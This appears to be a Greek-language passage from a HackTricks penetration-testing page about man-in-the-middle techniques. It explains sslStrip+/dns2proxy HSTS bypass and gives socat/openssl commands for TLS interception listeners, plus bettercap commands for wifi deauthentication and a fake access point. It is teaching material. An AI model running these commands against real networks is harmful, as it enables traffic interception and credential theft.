Η διαφορά μεταξύ του sslStrip+ και του dns2proxy έναντι του sslStrip είναι ότι θα ανακατευθύνουν για παράδειγμα το www.facebook.com σε wwww.facebook.com (σημειώστε το επιπλέον "w") και θα ορίσουν τη διεύθυνση αυτού του τομέα ως τη διεύθυνση IP του επιτιθέμενου. Με αυτόν τον τρόπο, ο πελάτης θα συνδεθεί στο wwww.facebook.com (τον επιτιθέμενο) αλλά πίσω από τις σκηνές το sslstrip+ θα διατηρήσει τη πραγματική σύνδεση μέσω https με το www.facebook.com.

Ο στόχος αυτής της τεχνικής είναι να αποφευχθεί το HSTS επειδή το wwww.facebook.com δεν θα αποθηκευτεί στη μνήμη cache του προγράμματος περιήγησης, έτσι το πρόγραμμα περιήγησης θα εξαπατηθεί να πραγματοποιήσει επαλήθευση ταυτότητας του Facebook μέσω HTTP.
Σημειώστε ότι για να πραγματοποιηθεί αυτή η επίθεση, το θύμα πρέπει να προσπαθήσει αρχικά να έχει πρόσβαση στη διεύθυνση http://www.faceook.com και όχι https. Αυτό μπορεί να γίνει τροποποιώντας τους συνδέσμους μέσα σε μια σελίδα http.

Περισσότερες πληροφορίες εδώ, εδώ και εδώ.

Το sslStrip ή το sslStrip+ δεν λειτουργούν πλέον. Αυτό συμβαίνει επειδή υπάρχουν κανόνες HSTS που έχουν προαποθηκευτεί στους προγράμματα περιήγησης, οπότε ακόμη κι αν είναι η πρώτη φορά που ένας χρήστης έχει πρόσβαση σε έναν "σημαντικό" τομέα, θα έχει πρόσβαση μέσω HTTPS. Επίσης, παρατηρήστε ότι οι προαποθηκευμένοι κανόνες και οι άλλοι δημιουργημένοι κανόνες μπορεί να χρησιμοποιούν τη σημαία includeSubdomains έτσι το παράδειγμα με τον wwww.facebook.com που αναφέρθηκε προηγουμένως δεν θα λειτουργεί πλέον καθώς το facebook.com χρησιμοποιεί HSTS με το includeSubdomains.

TODO: easy-creds, evilgrade, metasploit, factory

Ακρόαση TCP σε θύρα

sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -

Ακρόαση TCP + SSL σε θύρα

Δημιουργία κλειδιών και αυτο-υπογεγραμμένου πιστοποιητικού

FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem

Ακρόαση χρησιμοποιώντας πιστοποιητικό

Η ακρόαση χρησιμοποιώντας πιστοποιητικό είναι μια τεχνική που επιτρέπει σε έναν επιτιθέμενο να παρακολουθεί την κυκλοφορία δεδομένων μεταξύ δύο οντοτήτων, εκμεταλλευόμενος ένα πιστοποιητικό. Αυτό συμβαίνει όταν ο επιτιθέμενος καταφέρνει να αποκτήσει πρόσβαση σε ένα έγκυρο πιστοποιητικό που χρησιμοποιείται για την ασφάλεια της επικοινωνίας μεταξύ των δύο οντοτήτων.

Αφού αποκτήσει το πιστοποιητικό, ο επιτιθέμενος μπορεί να το χρησιμοποιήσει για να αποκρυπτογραφήσει την κυκλοφορία δεδομένων και να παρακολουθήσει τις επικοινωνίες. Αυτό του επιτρέπει να αποκτήσει πρόσβαση σε ευαίσθητες πληροφορίες, όπως κωδικούς πρόσβασης ή προσωπικά δεδομένα.

Για να εκτελεστεί αυτή η τεχνική, ο επιτιθέμενος πρέπει να αποκτήσει πρόσβαση στο πιστοποιητικό, είτε μέσω κλοπής, είτε μέσω κατασκευής ενός πλαστού πιστοποιητικού. Αυτό μπορεί να γίνει μέσω ευπάθειας στο σύστημα πιστοποίησης ή μέσω κοινωνικής μηχανικής.

Είναι σημαντικό να προστατεύετε τα πιστοποιητικά σας και να ελέγχετε την ακεραιότητά τους για να αποτρέψετε την ακρόαση χρησιμοποιώντας πιστοποιητικό.

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -

Ακούστε χρησιμοποιώντας πιστοποιητικό και ανακατευθύνετε προς τους κεντρικούς υπολογιστές

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0  openssl-connect:[SERVER]:[PORT],verify=0

Μερικές φορές, αν ο πελάτης ελέγχει ότι ο CA είναι έγκυρος, μπορείτε να παρέχετε ένα πιστοποιητικό άλλου ονόματος κεντρικού υπολογιστή που έχει υπογραφεί από έναν CA.
Ένα άλλο ενδιαφέρον τεστ είναι να παρέχετε ένα πιστοποιητικό του αιτούμενου ονόματος κεντρικού υπολογιστή αλλά με αυτο-υπογραφή.

Άλλα πράγματα που μπορείτε να δοκιμάσετε είναι να προσπαθήσετε να υπογράψετε το πιστοποιητικό με ένα έγκυρο πιστοποιητικό που δεν είναι έγκυρος CA. Ή να χρησιμοποιήσετε το έγκυρο δημόσιο κλειδί, να αναγκάσετε τη χρήση ενός αλγορίθμου όπως το diffie hellman (ένας που δεν χρειάζεται να αποκρυπτογραφήσει τίποτα με το πραγματικό ιδιωτικό κλειδί) και όταν ο πελάτης ζητήσει μια έρευνα του πραγματικού ιδιωτικού κλειδιού (όπως ένα hash) να στείλετε μια πλαστή έρευνα και να αναμένετε ότι ο πελάτης δεν θα το ελέγξει αυτό.

Bettercap

# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events
events.clear

# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on

# Caplets
caplets.show
caplets.update

# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap

Σημειώσεις Ενεργής Ανακάλυψης

Παρατηρήστε ότι όταν ένα πακέτο UDP στέλνεται σε μια συσκευή που δεν έχει τη ζητούμενη θύρα, στέλνεται ένα ICMP (Port Unreachable).

ARP ανακάλυψη

Τα πακέτα ARP χρησιμοποιούνται για να ανακαλύψουν ποιες διευθύνσεις IP χρησιμοποιούνται εντός του δικτύου. Ο υπολογιστής πρέπει να στείλει ένα αίτημα για κάθε πιθανή διεύθυνση IP και μόνο αυτές που χρησιμοποιούνται θα απαντήσουν.

mDNS (multicast DNS)

Το Bettercap στέλνει ένα αίτημα MDNS (κάθε X ms) που ζητά το _services_.dns-sd._udp.local και η μηχανή που βλέπει αυτό το πακέτο συνήθως απαντά σε αυτό το αίτημα. Στη συνέχεια, αναζητά μόνο μηχανές που απαντούν στο "services".

Εργαλεία

  • Avahi-browser (--all)
  • Bettercap (net.probe.mdns)
  • Responder

NBNS (NetBios Name Server)

Το Bettercap εκπέμπει πακέτα ευρετηρίου προς τη θύρα 137/UDP ζητώντας το όνομα "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".

SSDP (Simple Service Discovery Protocol)

Το Bettercap εκπέμπει πακέτα SSDP αναζητώντας όλα τα είδη υπηρεσιών (θύρα UDP 1900).

WSD (Web Service Discovery)

Το Bettercap εκπέμπει πακέτα WSD αναζητώντας υπηρεσίες (θύρα UDP 3702).

Αναφορές


Συμβουλή για bug bounty: εγγραφείτε στο Intigriti, μια προηγμένη πλατφόρμα bug bounty που δημιουργήθηκε από χάκερς, για χάκερς! Γίνετε μέλος στο https://go.intigriti.com/hacktricks σήμερα και αρχίστε να κερδίζετε αμοιβές έως και $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks: